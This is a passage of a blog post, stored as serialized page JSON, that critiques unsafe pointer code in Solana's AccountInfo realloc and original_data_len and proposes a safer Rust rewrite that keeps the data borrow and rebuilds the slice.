",{"type":24,"tag":80,"props":22905,"children":22907},{"className":22906},[],[22908],{"type":29,"value":20552},{"type":29,"value":22910}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":24,"tag":2773,"props":22912,"children":22915},{"href":22913,"rel":22914},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[2777],[22916],{"type":29,"value":22917},"this function",{"type":29,"value":978},{"type":24,"tag":137,"props":22920,"children":22922},{"className":8614,"code":22921,"language":8613,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[22923],{"type":24,"tag":80,"props":22924,"children":22925},{"__ignoreMap":7},[22926,22934,22942,22950,22958,22965,22973,22981,23029,23094,23160,23181],{"type":24,"tag":147,"props":22927,"children":22928},{"class":149,"line":150},[22929],{"type":24,"tag":147,"props":22930,"children":22931},{"style":154},[22932],{"type":29,"value":22933},"/// Return the account's original data length when it was serialized for the\n",{"type":24,"tag":147,"props":22935,"children":22936},{"class":149,"line":160},[22937],{"type":24,"tag":147,"props":22938,"children":22939},{"style":154},[22940],{"type":29,"value":22941},"/// current program invocation.\n",{"type":24,"tag":147,"props":22943,"children":22944},{"class":149,"line":169},[22945],{"type":24,"tag":147,"props":22946,"children":22947},{"style":154},[22948],{"type":29,"value":22949},"///\n",{"type":24,"tag":147,"props":22951,"children":22952},{"class":149,"line":178},[22953],{"type":24,"tag":147,"props":22954,"children":22955},{"style":154},[22956],{"type":29,"value":22957},"/// # Safety\n",{"type":24,"tag":147,"props":22959,"children":22960},{"class":149,"line":187},[22961],{"type":24,"tag":147,"props":22962,"children":22963},{"style":154},[22964],{"type":29,"value":22949},{"type":24,"tag":147,"props":22966,"children":22967},{"class":149,"line":196},[22968],{"type":24,"tag":147,"props":22969,"children":22970},{"style":154},[22971],{"type":29,"value":22972},"/// This method assumes that the original data length was serialized as a u32\n",{"type":24,"tag":147,"props":22974,"children":22975},{"class":149,"line":205},[22976],{"type":24,"tag":147,"props":22977,"children":22978},{"style":154},[22979],{"type":29,"value":22980},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":24,"tag":147,"props":22982,"children":22983},{"class":149,"line":214},[22984,22988,22992,22996,23001,23005,23009,23013,23017,23021,23025],{"type":24,"tag":147,"props":22985,"children":22986},{"style":218},[22987],{"type":29,"value":19307},{"type":24,"tag":147,"props":22989,"children":22990},{"style":218},[22991],{"type":29,"value":20204},{"type":24,"tag":147,"props":22993,"children":22994},{"style":218},[22995],{"type":29,"value":19312},{"type":24,"tag":147,"props":22997,"children":22998},{"style":229},[22999],{"type":29,"value":23000}," original_data_len",{"type":24,"tag":147,"props":23002,"children":23003},{"style":235},[23004],{"type":29,"value":480},{"type":24,"tag":147,"props":23006,"children":23007},{"style":241},[23008],{"type":29,"value":485},{"type":24,"tag":147,"props":23010,"children":23011},{"style":218},[23012],{"type":29,"value":19330},{"type":24,"tag":147,"props":23014,"children":23015},{"style":235},[23016],{"type":29,"value":564},{"type":24,"tag":147,"props":23018,"children":23019},{"style":241},[23020],{"type":29,"value":495},{"type":24,"tag":147,"props":23022,"children":23023},{"style":9044},[23024],{"type":29,"value":19348},{"type":24,"tag":147,"props":23026,"children":23027},{"style":235},[23028],{"type":29,"value":6630},{"type":24,"tag":147,"props":23030,"children":23031},{"class":149,"line":272},[23032,23036,23041,23045,23049,23053,23058,23062,23066,23070,23074,23078,23082,23086,23090],{"type":24,"tag":147,"props":23033,"children":23034},{"style":218},[23035],{"type":29,"value":8634},{"type":24,"tag":147,"props":23037,"children":23038},{"style":247},[23039],{"type":29,"value":23040}," key_ptr",{"type":24,"tag":147,"props":23042,"children":23043},{"style":241},[23044],{"type":29,"value":651},{"type":24,"tag":147,"props":23046,"children":23047},{"style":218},[23048],{"type":29,"value":19413},{"type":24,"tag":147,"props":23050,"children":23051},{"style":241},[23052],{"type":29,"value":87},{"type":24,"tag":147,"props":23054,"children":23055},{"style":235},[23056],{"type":29,"value":23057},"key ",{"type":24,"tag":147,"props":23059,"children":23060},{"style":218},[23061],{"type":29,"value":14467},{"type":24,"tag":147,"props":23063,"children":23064},{"style":241},[23065],{"type":29,"value":1263},{"type":24,"tag":147,"props":23067,"children":23068},{"style":218},[23069],{"type":29,"value":15276},{"type":24,"tag":147,"props":23071,"children":23072},{"style":247},[23073],{"type":29,"value":8669},{"type":24,"tag":147,"props":23075,"children":23076},{"style":218},[23077],{"type":29,"value":14453},{"type":24,"tag":147,"props":23079,"children":23080},{"style":241},[23081],{"type":29,"value":1263},{"type":24,"tag":147,"props":23083,"children":23084},{"style":218},[23085],{"type":29,"value":15276},{"type":24,"tag":147,"props":23087,"children":23088},{"style":9044},[23089],{"type":29,"value":20248},{"type":24,"tag":147,"props":23091,"children":23092},{"style":235},[23093],{"type":29,"value":432},{"type":24,"tag":147,"props":23095,"children":23096},{"class":149,"line":281},[23097,23101,23106,23110,23114,23118,23122,23126,23130,23135,23139,23143,23147,23151,23156],{"type":24,"tag":147,"props":23098,"children":23099},{"style":218},[23100],{"type":29,"value":8634},{"type":24,"tag":147,"props":23102,"children":23103},{"style":247},[23104],{"type":29,"value":23105}," original_data_len_ptr",{"type":24,"tag":147,"props":23107,"children":23108},{"style":241},[23109],{"type":29,"value":651},{"type":24,"tag":147,"props":23111,"children":23112},{"style":247},[23113],{"type":29,"value":23040},{"type":24,"tag":147,"props":23115,"children":23116},{"style":241},[23117],{"type":29,"value":87},{"type":24,"tag":147,"props":23119,"children":23120},{"style":229},[23121],{"type":29,"value":729},{"type":24,"tag":147,"props":23123,"children":23124},{"style":235},[23125],{"type":29,"value":480},{"type":24,"tag":147,"props":23127,"children":23128},{"style":241},[23129],{"type":29,"value":3470},{"type":24,"tag":147,"props":23131,"children":23132},{"style":705},[23133],{"type":29,"value":23134},"4",{"type":24,"tag":147,"props":23136,"children":23137},{"style":235},[23138],{"type":29,"value":564},{"type":24,"tag":147,"props":23140,"children":23141},{"style":218},[23142],{"type":29,"value":14467},{"type":24,"tag":147,"props":23144,"children":23145},{"style":241},[23146],{"type":29,"value":1263},{"type":24,"tag":147,"props":23148,"children":23149},{"style":218},[23150],{"type":29,"value":15276},{"type":24,"tag":147,"props":23152,"children":23153},{"style":9044},[23154],{"type":29,"value":23155}," u32",{"type":24,"tag":147,"props":23157,"children":23158},{"style":235},[23159],{"type":29,"value":432},{"type":24,"tag":147,"props":23161,"children":23162},{"class":149,"line":299},[23163,23168,23173,23177],{"type":24,"tag":147,"props":23164,"children":23165},{"style":241},[23166],{"type":29,"value":23167},"    *",{"type":24,"tag":147,"props":23169,"children":23170},{"style":247},[23171],{"type":29,"value":23172},"original_data_len_ptr",{"type":24,"tag":147,"props":23174,"children":23175},{"style":218},[23176],{"type":29,"value":14453},{"type":24,"tag":147,"props":23178,"children":23179},{"style":9044},[23180],{"type":29,"value":22580},{"type":24,"tag":147,"props":23182,"children":23183},{"class":149,"line":308},[23184],{"type":24,"tag":147,"props":23185,"children":23186},{"style":235},[23187],{"type":29,"value":827},{"type":24,"tag":25,"props":23189,"children":23190},{},[23191,23193,23198,23200,23205,23207,23212,23214,23219,23221,23228,23230,23237,23238,23245,23246,23253,23254,23261],{"type":29,"value":23192},"It's marked ",{"type":24,"tag":80,"props":23194,"children":23196},{"className":23195},[],[23197],{"type":29,"value":19970},{"type":29,"value":23199},", properly documented, but there's just one problem: we need this for ",{"type":24,"tag":80,"props":23201,"children":23203},{"className":23202},[],[23204],{"type":29,"value":19255},{"type":29,"value":23206},", which originally was not ",{"type":24,"tag":80,"props":23208,"children":23210},{"className":23209},[],[23211],{"type":29,"value":19970},{"type":29,"value":23213},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":24,"tag":80,"props":23215,"children":23217},{"className":23216},[],[23218],{"type":29,"value":19970},{"type":29,"value":23220}," block and added ",{"type":24,"tag":2773,"props":23222,"children":23225},{"href":23223,"rel":23224},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[2777],[23226],{"type":29,"value":23227},"a doc comment",{"type":29,"value":23229}," - adding to the ",{"type":24,"tag":2773,"props":23231,"children":23234},{"href":23232,"rel":23233},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[2777],[23235],{"type":29,"value":23236},"small",{"type":29,"value":12083},{"type":24,"tag":2773,"props":23239,"children":23242},{"href":23240,"rel":23241},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[2777],[23243],{"type":29,"value":23244},"pile",{"type":29,"value":12083},{"type":24,"tag":2773,"props":23247,"children":23250},{"href":23248,"rel":23249},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[2777],[23251],{"type":29,"value":23252},"of",{"type":29,"value":12083},{"type":24,"tag":2773,"props":23255,"children":23258},{"href":23256,"rel":23257},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[2777],[23259],{"type":29,"value":23260},"functions",{"type":29,"value":23262}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":24,"tag":32,"props":23264,"children":23266},{"id":23265},"towards-safer-unsafe",[23267,23269],{"type":29,"value":23268},"Towards safer ",{"type":24,"tag":80,"props":23270,"children":23272},{"className":23271},[],[23273],{"type":29,"value":19970},{"type":24,"tag":25,"props":23275,"children":23276},{},[23277,23279,23284,23286,23291,23293,23300],{"type":29,"value":23278},"Let's circle back to that main ",{"type":24,"tag":80,"props":23280,"children":23282},{"className":23281},[],[23283],{"type":29,"value":19970},{"type":29,"value":23285}," block inside ",{"type":24,"tag":80,"props":23287,"children":23289},{"className":23288},[],[23290],{"type":29,"value":19255},{"type":29,"value":23292}," for a bit, shall we? As a reminder, it looks like ",{"type":24,"tag":2773,"props":23294,"children":23297},{"href":23295,"rel":23296},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[2777],[23298],{"type":29,"value":23299},"this",{"type":29,"value":978},{"type":24,"tag":137,"props":23302,"children":23304},{"className":8614,"code":23303,"language":8613,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[23305],{"type":24,"tag":80,"props":23306,"children":23307},{"__ignoreMap":7},[23308,23316,23327,23335,23422,23453,23460,23468,23595,23626],{"type":24,"tag":147,"props":23309,"children":23310},{"class":149,"line":150},[23311],{"type":24,"tag":147,"props":23312,"children":23313},{"style":154},[23314],{"type":29,"value":23315},"// realloc\n",{"type":24,"tag":147,"props":23317,"children":23318},{"class":149,"line":160},[23319,23323],{"type":24,"tag":147,"props":23320,"children":23321},{"style":218},[23322],{"type":29,"value":19970},{"type":24,"tag":147,"props":23324,"children":23325},{"style":235},[23326],{"type":29,"value":6630},{"type":24,"tag":147,"props":23328,"children":23329},{"class":149,"line":169},[23330],{"type":24,"tag":147,"props":23331,"children":23332},{"style":154},[23333],{"type":29,"value":23334},"    // First set new length in the serialized data\n",{"type":24,"tag":147,"props":23336,"children":23337},{"class":149,"line":178},[23338,23342,23346,23350,23354,23358,23362,23366,23370,23374,23378,23382,23386,23390,23394,23398,23402,23406,23410,23414,23418],{"type":24,"tag":147,"props":23339,"children":23340},{"style":218},[23341],{"type":29,"value":8634},{"type":24,"tag":147,"props":23343,"children":23344},{"style":247},[23345],{"type":29,"value":19473},{"type":24,"tag":147,"props":23347,"children":23348},{"style":241},[23349],{"type":29,"value":651},{"type":24,"tag":147,"props":23351,"children":23352},{"style":218},[23353],{"type":29,"value":19413},{"type":24,"tag":147,"props":23355,"children":23356},{"style":241},[23357],{"type":29,"value":87},{"type":24,"tag":147,"props":23359,"children":23360},{"style":229},[23361],{"type":29,"value":19490},{"type":24,"tag":147,"props":23363,"children":23364},{"style":235},[23365],{"type":29,"value":19495},{"type":24,"tag":147,"props":23367,"children":23368},{"style":241},[23369],{"type":29,"value":8763},{"type":24,"tag":147,"props":23371,"children":23372},{"style":229},[23373],{"type":29,"value":19504},{"type":24,"tag":147,"props":23375,"children":23376},{"style":235},[23377],{"type":29,"value":19495},{"type":24,"tag":147,"props":23379,"children":23380},{"style":241},[23381],{"type":29,"value":87},{"type":24,"tag":147,"props":23383,"children":23384},{"style":229},[23385],{"type":29,"value":729},{"type":24,"tag":147,"props":23387,"children":23388},{"style":235},[23389],{"type":29,"value":480},{"type":24,"tag":147,"props":23391,"children":23392},{"style":241},[23393],{"type":29,"value":3470},{"type":24,"tag":147,"props":23395,"children":23396},{"style":705},[23397],{"type":29,"value":9700},{"type":24,"tag":147,"props":23399,"children":23400},{"style":235},[23401],{"type":29,"value":564},{"type":24,"tag":147,"props":23403,"children":23404},{"style":218},[23405],{"type":29,"value":14467},{"type":24,"tag":147,"props":23407,"children":23408},{"style":241},[23409],{"type":29,"value":1263},{"type":24,"tag":147,"props":23411,"children":23412},{"style":218},[23413],{"type":29,"value":9348},{"type":24,"tag":147,"props":23415,"children":23416},{"style":9044},[23417],{"type":29,"value":11484},{"type":24,"tag":147,"props":23419,"children":23420},{"style":235},[23421],{"type":29,"value":432},{"type":24,"tag":147,"props":23423,"children":23424},{"class":149,"line":187},[23425,23429,23433,23437,23441,23445,23449],{"type":24,"tag":147,"props":23426,"children":23427},{"style":241},[23428],{"type":29,"value":23167},{"type":24,"tag":147,"props":23430,"children":23431},{"style":247},[23432],{"type":29,"value":19564},{"type":24,"tag":147,"props":23434,"children":23435},{"style":241},[23436],{"type":29,"value":651},{"type":24,"tag":147,"props":23438,"children":23439},{"style":247},[23440],{"type":29,"value":19573},{"type":24,"tag":147,"props":23442,"children":23443},{"style":218},[23444],{"type":29,"value":14453},{"type":24,"tag":147,"props":23446,"children":23447},{"style":9044},[23448],{"type":29,"value":11484},{"type":24,"tag":147,"props":23450,"children":23451},{"style":235},[23452],{"type":29,"value":432},{"type":24,"tag":147,"props":23454,"children":23455},{"class":149,"line":196},[23456],{"type":24,"tag":147,"props":23457,"children":23458},{"emptyLinePlaceholder":16},[23459],{"type":29,"value":314},{"type":24,"tag":147,"props":23461,"children":23462},{"class":149,"line":205},[23463],{"type":24,"tag":147,"props":23464,"children":23465},{"style":154},[23466],{"type":29,"value":23467},"    // Then set the new length in the local slice\n",{"type":24,"tag":147,"props":23469,"children":23470},{"class":149,"line":214},[23471,23475,23479,23483,23487,23491,23495,23499,23503,23507,23511,23515,23519,23523,23527,23531,23535,23539,23543,23547,23551,23555,23559,23563,23567,23571,23575,23579,23583,23587,23591],{"type":24,"tag":147,"props":23472,"children":23473},{"style":218},[23474],{"type":29,"value":8634},{"type":24,"tag":147,"props":23476,"children":23477},{"style":247},[23478],{"type":29,"value":19473},{"type":24,"tag":147,"props":23480,"children":23481},{"style":241},[23482],{"type":29,"value":651},{"type":24,"tag":147,"props":23484,"children":23485},{"style":241},[23486],{"type":29,"value":12767},{"type":24,"tag":147,"props":23488,"children":23489},{"style":218},[23490],{"type":29,"value":9348},{"type":24,"tag":147,"props":23492,"children":23493},{"style":241},[23494],{"type":29,"value":1263},{"type":24,"tag":147,"props":23496,"children":23497},{"style":235},[23498],{"type":29,"value":19632},{"type":24,"tag":147,"props":23500,"children":23501},{"style":218},[23502],{"type":29,"value":19330},{"type":24,"tag":147,"props":23504,"children":23505},{"style":241},[23506],{"type":29,"value":87},{"type":24,"tag":147,"props":23508,"children":23509},{"style":235},[23510],{"type":29,"value":1139},{"type":24,"tag":147,"props":23512,"children":23513},{"style":241},[23514],{"type":29,"value":87},{"type":24,"tag":147,"props":23516,"children":23517},{"style":229},[23518],{"type":29,"value":19653},{"type":24,"tag":147,"props":23520,"children":23521},{"style":235},[23522],{"type":29,"value":19658},{"type":24,"tag":147,"props":23524,"children":23525},{"style":218},[23526],{"type":29,"value":14467},{"type":24,"tag":147,"props":23528,"children":23529},{"style":241},[23530],{"type":29,"value":1263},{"type":24,"tag":147,"props":23532,"children":23533},{"style":218},[23534],{"type":29,"value":15276},{"type":24,"tag":147,"props":23536,"children":23537},{"style":9044},[23538],{"type":29,"value":11484},{"type":24,"tag":147,"props":23540,"children":23541},{"style":235},[23542],{"type":29,"value":8758},{"type":24,"tag":147,"props":23544,"children":23545},{"style":241},[23546],{"type":29,"value":87},{"type":24,"tag":147,"props":23548,"children":23549},{"style":229},[23550],{"type":29,"value":729},{"type":24,"tag":147,"props":23552,"children":23553},{"style":235},[23554],{"type":29,"value":480},{"type":24,"tag":147,"props":23556,"children":23557},{"style":705},[23558],{"type":29,"value":1154},{"type":24,"tag":147,"props":23560,"children":23561},{"style":235},[23562],{"type":29,"value":564},{"type":24,"tag":147,"props":23564,"children":23565},{"style":218},[23566],{"type":29,"value":14467},{"type":24,"tag":147,"props":23568,"children":23569},{"style":9044},[23570],{"type":29,"value":11484},{"type":24,"tag":147,"props":23572,"children":23573},{"style":235},[23574],{"type":29,"value":564},{"type":24,"tag":147,"props":23576,"children":23577},{"style":218},[23578],{"type":29,"value":14467},{"type":24,"tag":147,"props":23580,"children":23581},{"style":241},[23582],{"type":29,"value":1263},{"type":24,"tag":147,"props":23584,"children":23585},{"style":218},[23586],{"type":29,"value":9348},{"type":24,"tag":147,"props":23588,"children":23589},{"style":9044},[23590],{"type":29,"value":11484},{"type":24,"tag":147,"props":23592,"children":23593},{"style":235},[23594],{"type":29,"value":1473},{"type":24,"tag":147,"props":23596,"children":23597},{"class":149,"line":272},[23598,23602,23606,23610,23614,23618,23622],{"type":24,"tag":147,"props":23599,"children":23600},{"style":241},[23601],{"type":29,"value":23167},{"type":24,"tag":147,"props":23603,"children":23604},{"style":247},[23605],{"type":29,"value":19564},{"type":24,"tag":147,"props":23607,"children":23608},{"style":241},[23609],{"type":29,"value":651},{"type":24,"tag":147,"props":23611,"children":23612},{"style":247},[23613],{"type":29,"value":19573},{"type":24,"tag":147,"props":23615,"children":23616},{"style":218},[23617],{"type":29,"value":14453},{"type":24,"tag":147,"props":23619,"children":23620},{"style":9044},[23621],{"type":29,"value":11484},{"type":24,"tag":147,"props":23623,"children":23624},{"style":235},[23625],{"type":29,"value":432},{"type":24,"tag":147,"props":23627,"children":23628},{"class":149,"line":281},[23629],{"type":24,"tag":147,"props":23630,"children":23631},{"style":235},[23632],{"type":29,"value":827},{"type":24,"tag":25,"props":23634,"children":23635},{},[23636,23638,23643],{"type":29,"value":23637},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":24,"tag":80,"props":23639,"children":23641},{"className":23640},[],[23642],{"type":29,"value":21115},{"type":29,"value":23644}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":24,"tag":25,"props":23646,"children":23647},{},[23648,23650,23655,23657,23662,23664,23669,23671,23676,23678,23683,23685,23691,23693,23703,23705,23716],{"type":29,"value":23649},"First, let's deal with the ",{"type":24,"tag":80,"props":23651,"children":23653},{"className":23652},[],[23654],{"type":29,"value":21115},{"type":29,"value":23656}," borrowing issue. When we ",{"type":24,"tag":80,"props":23658,"children":23660},{"className":23659},[],[23661],{"type":29,"value":19490},{"type":29,"value":23663},", we get a ",{"type":24,"tag":80,"props":23665,"children":23667},{"className":23666},[],[23668],{"type":29,"value":22347},{"type":29,"value":23670}," back, which represents our borrow of the ",{"type":24,"tag":80,"props":23672,"children":23674},{"className":23673},[],[23675],{"type":29,"value":21115},{"type":29,"value":23677},"'s data. The fix here is simple: keep that ",{"type":24,"tag":80,"props":23679,"children":23681},{"className":23680},[],[23682],{"type":29,"value":22347},{"type":29,"value":23684}," around and use it to access the data, instead of using ",{"type":24,"tag":80,"props":23686,"children":23688},{"className":23687},[],[23689],{"type":29,"value":23690},"RefCell::as_ptr",{"type":29,"value":23692},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":24,"tag":21085,"props":23694,"children":23695},{},[23696],{"type":24,"tag":2773,"props":23697,"children":23701},{"href":23698,"ariaDescribedBy":23699,"dataFootnoteRef":7,"id":23700},"#user-content-fn-rustc-llvm",[21092],"user-content-fnref-rustc-llvm",[23702],{"type":29,"value":23134},{"type":29,"value":23704}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":24,"tag":21085,"props":23706,"children":23707},{},[23708],{"type":24,"tag":2773,"props":23709,"children":23713},{"href":23710,"ariaDescribedBy":23711,"dataFootnoteRef":7,"id":23712},"#user-content-fn-godbolt",[21092],"user-content-fnref-godbolt",[23714],{"type":29,"value":23715},"5",{"type":29,"value":23717},". So then we get:",{"type":24,"tag":137,"props":23719,"children":23721},{"className":8614,"code":23720,"language":8613,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[23722],{"type":24,"tag":80,"props":23723,"children":23724},{"__ignoreMap":7},[23725,23769,23776,23783,23867,23907,23914,23921],{"type":24,"tag":147,"props":23726,"children":23727},{"class":149,"line":150},[23728,23732,23736,23741,23745,23749,23753,23757,23761,23765],{"type":24,"tag":147,"props":23729,"children":23730},{"style":218},[23731],{"type":29,"value":17406},{"type":24,"tag":147,"props":23733,"children":23734},{"style":218},[23735],{"type":29,"value":8639},{"type":24,"tag":147,"props":23737,"children":23738},{"style":247},[23739],{"type":29,"value":23740}," slice",{"type":24,"tag":147,"props":23742,"children":23743},{"style":241},[23744],{"type":29,"value":651},{"type":24,"tag":147,"props":23746,"children":23747},{"style":218},[23748],{"type":29,"value":19413},{"type":24,"tag":147,"props":23750,"children":23751},{"style":241},[23752],{"type":29,"value":87},{"type":24,"tag":147,"props":23754,"children":23755},{"style":229},[23756],{"type":29,"value":19490},{"type":24,"tag":147,"props":23758,"children":23759},{"style":235},[23760],{"type":29,"value":19495},{"type":24,"tag":147,"props":23762,"children":23763},{"style":241},[23764],{"type":29,"value":8785},{"type":24,"tag":147,"props":23766,"children":23767},{"style":235},[23768],{"type":29,"value":432},{"type":24,"tag":147,"props":23770,"children":23771},{"class":149,"line":160},[23772],{"type":24,"tag":147,"props":23773,"children":23774},{"emptyLinePlaceholder":16},[23775],{"type":29,"value":314},{"type":24,"tag":147,"props":23777,"children":23778},{"class":149,"line":169},[23779],{"type":24,"tag":147,"props":23780,"children":23781},{"style":154},[23782],{"type":29,"value":20017},{"type":24,"tag":147,"props":23784,"children":23785},{"class":149,"line":178},[23786,23790,23794,23798,23802,23806,23810,23814,23818,23822,23826,23830,23834,23838,23842,23847,23851,23855,23859,23863],{"type":24,"tag":147,"props":23787,"children":23788},{"style":218},[23789],{"type":29,"value":17406},{"type":24,"tag":147,"props":23791,"children":23792},{"style":247},[23793],{"type":29,"value":19473},{"type":24,"tag":147,"props":23795,"children":23796},{"style":241},[23797],{"type":29,"value":651},{"type":24,"tag":147,"props":23799,"children":23800},{"style":218},[23801],{"type":29,"value":20204},{"type":24,"tag":147,"props":23803,"children":23804},{"style":235},[23805],{"type":29,"value":15207},{"type":24,"tag":147,"props":23807,"children":23808},{"style":247},[23809],{"type":29,"value":20925},{"type":24,"tag":147,"props":23811,"children":23812},{"style":241},[23813],{"type":29,"value":87},{"type":24,"tag":147,"props":23815,"children":23816},{"style":229},[23817],{"type":29,"value":19504},{"type":24,"tag":147,"props":23819,"children":23820},{"style":235},[23821],{"type":29,"value":19495},{"type":24,"tag":147,"props":23823,"children":23824},{"style":241},[23825],{"type":29,"value":87},{"type":24,"tag":147,"props":23827,"children":23828},{"style":229},[23829],{"type":29,"value":729},{"type":24,"tag":147,"props":23831,"children":23832},{"style":235},[23833],{"type":29,"value":480},{"type":24,"tag":147,"props":23835,"children":23836},{"style":241},[23837],{"type":29,"value":3470},{"type":24,"tag":147,"props":23839,"children":23840},{"style":705},[23841],{"type":29,"value":9700},{"type":24,"tag":147,"props":23843,"children":23844},{"style":235},[23845],{"type":29,"value":23846},") } ",{"type":24,"tag":147,"props":23848,"children":23849},{"style":218},[23850],{"type":29,"value":14467},{"type":24,"tag":147,"props":23852,"children":23853},{"style":241},[23854],{"type":29,"value":1263},{"type":24,"tag":147,"props":23856,"children":23857},{"style":218},[23858],{"type":29,"value":9348},{"type":24,"tag":147,"props":23860,"children":23861},{"style":9044},[23862],{"type":29,"value":11484},{"type":24,"tag":147,"props":23864,"children":23865},{"style":235},[23866],{"type":29,"value":432},{"type":24,"tag":147,"props":23868,"children":23869},{"class":149,"line":187},[23870,23874,23878,23882,23886,23890,23894,23898,23902],{"type":24,"tag":147,"props":23871,"children":23872},{"style":218},[23873],{"type":29,"value":19970},{"type":24,"tag":147,"props":23875,"children":23876},{"style":235},[23877],{"type":29,"value":15207},{"type":24,"tag":147,"props":23879,"children":23880},{"style":241},[23881],{"type":29,"value":244},{"type":24,"tag":147,"props":23883,"children":23884},{"style":247},[23885],{"type":29,"value":19564},{"type":24,"tag":147,"props":23887,"children":23888},{"style":241},[23889],{"type":29,"value":651},{"type":24,"tag":147,"props":23891,"children":23892},{"style":247},[23893],{"type":29,"value":19573},{"type":24,"tag":147,"props":23895,"children":23896},{"style":218},[23897],{"type":29,"value":14453},{"type":24,"tag":147,"props":23899,"children":23900},{"style":9044},[23901],{"type":29,"value":11484},{"type":24,"tag":147,"props":23903,"children":23904},{"style":235},[23905],{"type":29,"value":23906}," };\n",{"type":24,"tag":147,"props":23908,"children":23909},{"class":149,"line":196},[23910],{"type":24,"tag":147,"props":23911,"children":23912},{"emptyLinePlaceholder":16},[23913],{"type":29,"value":314},{"type":24,"tag":147,"props":23915,"children":23916},{"class":149,"line":205},[23917],{"type":24,"tag":147,"props":23918,"children":23919},{"style":154},[23920],{"type":29,"value":21748},{"type":24,"tag":147,"props":23922,"children":23923},{"class":149,"line":214},[23924,23928,23932,23936,23940,23945,23949,23953,23957,23962,23966,23970,23974,23978,23983,23987],{"type":24,"tag":147,"props":23925,"children":23926},{"style":241},[23927],{"type":29,"value":244},{"type":24,"tag":147,"props":23929,"children":23930},{"style":247},[23931],{"type":29,"value":20925},{"type":24,"tag":147,"props":23933,"children":23934},{"style":241},[23935],{"type":29,"value":651},{"type":24,"tag":147,"props":23937,"children":23938},{"style":218},[23939],{"type":29,"value":20204},{"type":24,"tag":147,"props":23941,"children":23942},{"style":235},[23943],{"type":29,"value":23944}," { std",{"type":24,"tag":147,"props":23946,"children":23947},{"style":241},[23948],{"type":29,"value":9106},{"type":24,"tag":147,"props":23950,"children":23951},{"style":235},[23952],{"type":29,"value":20925},{"type":24,"tag":147,"props":23954,"children":23955},{"style":241},[23956],{"type":29,"value":9106},{"type":24,"tag":147,"props":23958,"children":23959},{"style":229},[23960],{"type":29,"value":23961},"from_raw_parts_mut",{"type":24,"tag":147,"props":23963,"children":23964},{"style":235},[23965],{"type":29,"value":480},{"type":24,"tag":147,"props":23967,"children":23968},{"style":247},[23969],{"type":29,"value":20925},{"type":24,"tag":147,"props":23971,"children":23972},{"style":241},[23973],{"type":29,"value":87},{"type":24,"tag":147,"props":23975,"children":23976},{"style":229},[23977],{"type":29,"value":19504},{"type":24,"tag":147,"props":23979,"children":23980},{"style":235},[23981],{"type":29,"value":23982},"(), ",{"type":24,"tag":147,"props":23984,"children":23985},{"style":247},[23986],{"type":29,"value":19339},{"type":24,"tag":147,"props":23988,"children":23989},{"style":235},[23990],{"type":29,"value":20359},{"type":24,"tag":25,"props":23992,"children":23993},{},[23994,23996,24001,24003,24008,24010,24015,24017],{"type":29,"value":23995},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":24,"tag":80,"props":23997,"children":23999},{"className":23998},[],[24000],{"type":29,"value":13668},{"type":29,"value":24002}," and not a ",{"type":24,"tag":80,"props":24004,"children":24006},{"className":24005},[],[24007],{"type":29,"value":22207},{"type":29,"value":24009}," for the size field, given that ",{"type":24,"tag":80,"props":24011,"children":24013},{"className":24012},[],[24014],{"type":29,"value":22207},{"type":29,"value":24016}," is architecture-dependent), and no dependency on slice reference 